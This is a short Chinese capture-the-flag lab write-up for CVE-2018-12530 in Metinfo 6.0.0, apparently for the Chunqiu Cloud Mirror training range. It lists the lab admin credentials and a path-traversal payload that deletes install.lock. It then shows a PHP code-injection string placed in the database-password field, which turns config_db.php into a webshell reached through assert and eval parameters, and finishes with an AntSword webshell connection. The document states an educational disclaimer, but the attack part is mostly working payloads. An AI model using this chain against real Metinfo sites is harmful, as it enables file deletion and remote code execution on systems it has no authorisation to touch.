[春秋云镜]CVE-2018-12530

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

Metinfo 6.0.0任意文件删除。后台密码：f2xWcke5KN6pfebu

春秋云镜开启靶场：
http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/

后台：http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/admin/index.php?n=login&c=login&a=doindex

账号admin  密码f2xWcke5KN6pfebu

登录后台 删除安装锁

payload

/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock

网站回到初始安装状态下

 数据库密码payload

数据库密码= "*/assert($_REQUEST[1])/*"

 保存后访问 http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/config/config_db.php?1=phpinfo();

 蚁剑连接

http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/config/config_db.php?1=eval($_POST[%27pw%27]);